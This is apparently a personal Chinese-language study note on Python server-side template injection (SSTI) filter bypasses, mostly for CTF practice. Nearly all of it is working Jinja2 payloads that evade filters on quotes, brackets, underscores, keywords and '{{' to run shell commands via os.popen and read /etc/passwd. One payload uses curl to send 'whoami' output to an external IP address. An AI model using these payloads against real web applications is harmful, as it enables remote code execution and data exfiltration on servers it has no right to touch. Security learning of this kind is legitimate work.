Python_ssti学习(二)

呜呜呜,俺是菜鸡,现在才开始看bypass

删除了很多模块

reload(__builtins__) #重新加载被删除的模块,直接命令执行,只用于py2

过滤字符

拼接或编码

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
2.1 base64
 
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}} #(可以看出单双引号内的都可以编码) 

2.2 rot13  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['riny'.decode('rot13')]("__import__('os').popen('ls').read()")}}  
2.3 16进制编码  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['6576616C'.decode('hex')]("__import__('os').popen('ls').read()")}}   
2.4  拼接字符串(base64,hex,rot13也可以进行拼接)

过滤了(ls.import.eval.os)   
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['e'+'val']("__im"+"port__('o'+'s').popen('l'+'s').read()")}}

过滤中括号

#3.1 getitem() 用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

#3.2 fangfa['shuxing']-->fangfa.shuxing,类似于字典  

{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /etc/passwd').read()")}}  
{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /etc/passwd').read()")}} #(不能直接进入python环境下用,可能是python程序运行的时候会自己加载什么东西。) 

# pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

过滤引号

#4.1 利用request传值,漏洞形式必须是?name=这种形式的或者说是提交表单用post方式。(这种方法在沙盒逃逸中行不通的,只有web接收参数形式有可能)
  
{{[].__class__.__mro__[1].__subclasses__()[40](request.args.cat).read()}}&cat=/etc/passwd #(类似于过滤了下划线)   
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
#4.2 chr传值  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__. eval( chr(95) %2b chr(95) %2b chr(105) %2b chr(109) %2b chr(112) %2b chr(111) %2b chr(114) %2b chr(116) %2b chr(95) %2b chr(95) %2b chr(40) %2b chr(39) %2b chr(111) %2b chr(115) %2b chr(39) %2b chr(41) %2b chr(46) %2b chr(112) %2b chr(111) %2b chr(112) %2b chr(101) %2b chr(110) %2b chr(40) %2b chr(39) %2b chr(108) %2b chr(115) %2b chr(39) %2b chr(41) %2b chr(46) %2b chr(114) %2b chr(101) %2b chr(97) %2b chr(100) %2b chr(40) %2b chr(41))}}
['eval'] #这里可以直接用.eval()代替,eval里面的执行的语句,把它全部变为chr()+chr()的形式,最后不要忘记给+编码为%2b
#经过实验我发现只能是里面的执行的语句变为chr()形式,像eval这种不可以。

过滤双下划线

# 利用request传值  

{{()[request.args.class].__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}&class=__class__  

# 5.2将其中的request.args改为request.values则利用post的方式进行传参
GET:{{()[request.args.class].__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
# 结合下边的post方式一起
POST:class=__class___  
    
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

过滤build函数,不能命令执行

# os, eval, import,,一种是自己现引入(__import__('os'.popen('ls').read())),另一种是其他的模块直接能够调用os    
#6.1 <class 'site._Printer'> [71](可以直接调用os模块)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}    
#6.2  <class 'warnings.catch_warnings'>[59]   
open,eval,file,__import__,reload(并没有os.需要用eval配合__import__导入)
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

过滤{{

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}

奇怪姿势

{{().__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()}}

呜呜呜如有错误,请大佬们提一下,此仅为个人笔记。

参考链接:

SSTI注入绕过(沙盒逃逸原理一样) - 冬泳怪鸽 - 博客园 (cnblogs.com)

浅析SSTI(python沙盒绕过)_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度. (ichunqiu.com)

CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)